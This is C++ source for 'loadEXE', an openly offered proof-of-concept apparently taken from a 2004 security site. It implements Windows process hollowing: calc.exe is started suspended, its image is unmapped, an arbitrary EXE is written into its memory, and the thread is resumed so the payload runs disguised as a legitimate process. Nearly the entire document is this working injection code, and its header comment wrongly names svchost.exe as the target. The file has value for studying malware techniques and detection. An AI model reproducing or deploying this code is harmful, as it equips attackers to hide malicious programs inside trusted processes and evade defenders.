http://www.security.org.sg/code/loadexe.html
Code:
//*******************************************************************************************************
// loadEXE.cpp : Defines the entry point for the console application.
//
// Proof-Of-Concept Code
// Copyright (c) 2004
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// 'Software'), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, and/or sell copies of the Software, and to permit persons
// to whom the Software is furnished to do so, provided that the above
// copyright notice(s) and this permission notice appear in all copies of
// the Software and that both the above copyright notice(s) and this
// permission notice appear in supporting documentation.
//
// THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//
// Usage:
// loadEXE <EXE filename>
//
// This will execute calc.exe in suspended mode and replace its image with
// the new EXE's image. The thread is then resumed, thus causing the new EXE to
// execute within the process space of svchost.exe.
//
//*******************************************************************************************************
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};
struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};
struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};
struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};
struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};
//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
if(fileSize < sizeof(MZHeader))
{
printf('File size too small\n');
return false;
}
// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);
if(mzH.signature != 0x5a4d) // MZ
{
printf('File does not have MZ header\n');
return false;
}
//printf('Offset to PE Header = %X\n', mzH.offsetToPE);
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
printf('File size too small\n');
return false;
}
// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);
//printf('Size of option header = %d\n', peH.sizeOfOptionHeader);
//printf('Number of sections = %d\n', peH.numSections);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
printf('Unexpected option header size.\n');
return false;
}
// read PE Ext Header
PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
//printf('Import table address = %X\n', peXH.importTableAddress);
//printf('Import table size = %X\n', peXH.importTableSize);
//printf('Import address table address = %X\n', peXH.importAddressTableAddress);
//printf('Import address table size = %X\n', peXH.importAddressTableSize);
// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;
return true;
}
//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;
if(inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].virtualSize)
{
if(inSecHdr[i].virtualSize % alignment == 0)
result += inSecHdr[i].virtualSize;
else
{
int val = inSecHdr[i].virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}
return result;
}
//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;
fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;
// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.
for(int i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].pointerToRawData < headerSize)
headerSize = inSecHdr[i].pointerToRawData;
}
// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
//printf('HeaderSize = %d\n', headerSize);
if(readSize != headerSize)
{
printf('Error reading headers (%d %d)\n', readSize, headerSize);
return false;
}
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
// read the sections
for(i = 0; i < inPE->numSections; i++)
{
if(inSecHdr[i].sizeOfRawData > 0)
{
unsigned long toRead = inSecHdr[i].sizeOfRawData;
if(toRead > inSecHdr[i].virtualSize)
toRead = inSecHdr[i].virtualSize;
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead)
{
printf('Error reading section %d\n', i);
return false;
}
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
else
{
// this handles the case where the PE file has an empty section. E.g. UPX0 section
// in UPXed files.
if(inSecHdr[i].virtualSize)
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
}
return true;
}
struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
long delta = newBase - inpeXH->imageBase;
while(fixBlk->blockSize)
{
//printf('Addr = %X\n', fixBlk->pageRVA);
//printf('Size = %X\n', fixBlk->blockSize);
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
//printf('Num Entries = %d\n', numEntries);
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i < numEntries; i++)
{
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
int relocType = (*offsetPtr & 0xF000) >> 12;
//printf('Val = %X\n', *offsetPtr);
//printf('Type = %X\n', relocType);
if(relocType == 3)
*codeLoc = ((DWORD)*codeLoc) + delta;
else
{
printf('Unknown relocation type = %d\n', relocType);
}
offsetPtr++;
}
fixBlk = (FixupBlock *)offsetPtr;
}
}
}
#define TARGETPROC 'calc.exe'
typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;
//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(CreateProcess(NULL, TARGETPROC,
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
ctx->ContextFlags=CONTEXT_FULL;
GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo = (DWORD *)ctx->Ebx;
DWORD read;
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
DWORD curAddr = outChildProcInfo->baseAddr;
MEMORY_BASIC_INFORMATION memInfo;
while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
{
if(memInfo.State == MEM_FREE)
break;
curAddr += memInfo.RegionSize;
}
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
return TRUE;
}
return FALSE;
}
//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
// thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;
if(createChild(&pi, &ctx, &childInfo))
{
printf('Original EXE loaded (PID = %d).\n', pi.dwProcessId);
printf('Original Base Addr = %X, Size = %X\n', childInfo.baseAddr, childInfo.imageSize);
LPVOID v = (LPVOID)NULL;
if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
{
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
// overwrite it in memory
v = (LPVOID)childInfo.baseAddr;
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
printf('Using Existing Mem for New EXE at %X\n', (unsigned long)v);
}
else
{
// get address of ZwUnmapViewOfSection
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle('ntdll.dll'), 'ZwUnmapViewOfSection');
// try to unmap the original EXE image
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
{
// allocate memory for the new EXE image at the prefered imagebase.
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
printf('Unmapped and Allocated Mem for New EXE at %X\n', (unsigned long)v);
}
}
if(!v && hasRelocationTable(inpeXH))
{
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
// location
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(v)
{
printf('Allocated Mem for New EXE at %X. EXE will be relocated.\n', (unsigned long)v);
// we've got to do the relocation ourself if we load the image at another
// memory location
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}
printf('EIP = %X\n', ctx.Eip);
printf('EAX = %X\n', ctx.Eax);
printf('EBX = %X\n', ctx.Ebx); // EBX points to PEB
printf('ECX = %X\n', ctx.Ecx);
printf('EDX = %X\n', ctx.Edx);
if(v)
{
printf('New EXE Image Size = %X\n', imageSize);
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
DWORD *pebInfo = (DWORD *)ctx.Ebx;
DWORD wrote;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
// patch the base addr in the PE header of the EXE that we load ourselves
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
peXH->imageBase = (DWORD)v;
if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
{
printf('New EXE image injected into process.\n');
ctx.ContextFlags=CONTEXT_FULL;
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
if((DWORD)v == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
else
{
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
// performed.
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
printf('********> EIP = %X\n', ctx.Eip);
printf('********> EAX = %X\n', ctx.Eax);
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
printf('Process resumed (PID = %d).\n', pi.dwProcessId);
}
else
{
printf('WriteProcessMemory failed\n');
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf('Load failed. Consider making this EXE relocatable.\n');
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf('Cannot load %s\n', TARGETPROC);
}
}
int main(int argc, char* argv[])
{
if(argc != 2)
{
printf('\nUsage: %s <EXE filename>\n', argv[0]);
return 1;
}
FILE *fp = fopen(argv[1], 'rb');
if(fp)
{
MZHeader mzH;
PE_Header peH;
PE_ExtHeader peXH;
SectionHeader *secHdr;
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
{
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
//printf('Image Size = %X\n', imageSize);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(ptrLoc)
{
//printf('Memory allocated at %X\n', ptrLoc);
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
}
else
printf('Allocation failed\n');
}
fclose(fp);
}
else
printf('\nCannot open the EXE file!\n');
return 0;
}
